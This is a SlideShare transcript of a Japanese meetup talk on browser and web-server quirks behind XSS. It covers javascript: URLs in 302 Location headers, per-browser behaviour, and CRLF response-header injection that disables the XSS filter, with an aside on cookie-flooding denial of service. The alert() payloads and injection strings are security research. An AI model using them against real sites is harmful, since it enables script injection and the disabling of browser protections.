SlideShare une entreprise Scribd logo
1  sur  15
2014/08/07
はるぷ@Shibuya.XSS
ブラウザとWebサーバの話
1
XSS
》 XSSの仕方色々
☆ <script>alert('xss')</script>
☆ <div onclick="alert('xss')">xxxx
☆ <a href="javascript:alert('xss')">xxxx
2
今日は「<a href="javascript:…」に
焦点を当ててみます!
302 Foundの画面
最近見かけなくなりましたねー
3
302 Foundの画面
表示してみましょう!
※もちろんデフォルト設定で!
4
Locationヘッダの扱いの違い
Chrome IE Firefox Opera(Presto)
動きます!
空文字 ○ × ○ ○
about:blank about:blank × about:blank ○
javascript:xxx × × × ◎
通常 × × × ×
5
優秀な組み合わせその1
》 Apache 2.4.7 + CGI(perl)
6
優秀な組み合わせその2
》 IIS 7.5 (Windows7) + asp
7
投げやりな
メッセージが素敵
惜しい!
》 WEBRick
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: javascript:alert(0)
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96
X-Runtime: 0.007491
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08)
Date: Sun, 06 Jul 2014 12:00:51 GMT
Content-Length: 85
Connection: Keep-Alive
<html><body>You are being <a href="javascript:alert(0)">redirected</a>.</body></html>
何故かOperaでは表示されない!
(最後に改行入れるといける)
8
Opera独自エンジンPresto
Wikipediaより:http://ja.wikipedia.org/wiki/Opera
非常に残念な
事件!
・Opera独自エンジン系は12.17(2014/4/23)が最新
・ちなみに、FireFoxも5.0(2011/6/21)までは似た動作します。 9
FireFox 5.0 + WEBrick
10
とりあえず正攻法でXSS
》 Apache 2.4.7 + CGI(perl)でResponse
Header Injection
「url=%0d%0a%0d%0a%3Cscript%3Ealert(‘xss’)%3C/script%3E」みたいなやつ
Apacheがレスポンスボディを
占領している!超邪魔!
11
とりあえず正攻法でXSS
》 色々ヘッダを足す
url=test%0d%0aStatus:500%0d%0a
X-XSS-Protection:0%0d%0a%0d%0a%3Cscript
%3Ealert('xss')%3C/script%3E
Chromeとかでも動く!
超便利!
12
Statusヘッダで302をやめる
ブラウザのXSSフィルターを
無効化!
おまけ
》 レスポンスヘッダインジェクションのマイ
ナーな攻撃
☆ Cookieを大量にセットする!
13
おまけ
》 やられると地味に復帰が困難。サイト全体
にアクセスできなくなる
14
まとめ
》 古くからある変な挙動も結構面白い
》 新しいものを作るときに、意外とこういった
細かいとこが再燃したりするのでまあまあ
重要
15

Contenu connexe

Tendances

ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
Hiromu Shioya
 
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)
Masato Kinugawa
 
MySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LTMySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LT
Tomohiro Ikeda
 

Tendances (20)

今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
 
Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
 
0511 lt
0511 lt0511 lt
0511 lt
 
Reactjs
ReactjsReactjs
Reactjs
 
後期講座03
後期講座03後期講座03
後期講座03
 
MongoDBのアレをアレする
MongoDBのアレをアレするMongoDBのアレをアレする
MongoDBのアレをアレする
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
 
HTML5 on ASP.NET
HTML5 on ASP.NETHTML5 on ASP.NET
HTML5 on ASP.NET
 
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
20090218 第5回「PhpによるWebアプリケーションのセキュリティ入門」
 
今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法今夜分かるJSによるクリックジャッキング対策の迂回方法
今夜分かるJSによるクリックジャッキング対策の迂回方法
 
Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話Node.js×mongo dbで3年間サービス運用してみた話
Node.js×mongo dbで3年間サービス運用してみた話
 
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)
 
Webセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてWebセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習について
 
Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10Ma gician <wide version> @meguro.es 2019/10/10
Ma gician <wide version> @meguro.es 2019/10/10
 
Zabbix study5lt
Zabbix study5ltZabbix study5lt
Zabbix study5lt
 
MySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LTMySQL Casual Talks Vol.3 LT
MySQL Casual Talks Vol.3 LT
 
Gumi study#15 Sass構造化
Gumi study#15 Sass構造化Gumi study#15 Sass構造化
Gumi study#15 Sass構造化
 
ITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookieITPと、その他cookie関連のこと / ITP and cookie
ITPと、その他cookie関連のこと / ITP and cookie
 

En vedette

2017年にモテる方法
2017年にモテる方法2017年にモテる方法
2017年にモテる方法
Masafumi Masutani
 
ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策
Hiroshi Tokumaru
 

En vedette (6)

2017年にモテる方法
2017年にモテる方法2017年にモテる方法
2017年にモテる方法
 
ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策
 
0からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.30からのウェブディレクション講座:設計編 v5.3
0からのウェブディレクション講座:設計編 v5.3
 
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組みDeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
DeNA_Techcon2017_DeNAでのチート・脆弱性診断への取り組み
 
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
 
GoogleのSHA-1のはなし
GoogleのSHA-1のはなしGoogleのSHA-1のはなし
GoogleのSHA-1のはなし
 

ブラウザとWebサーバとXSSの話@Shibuya.xss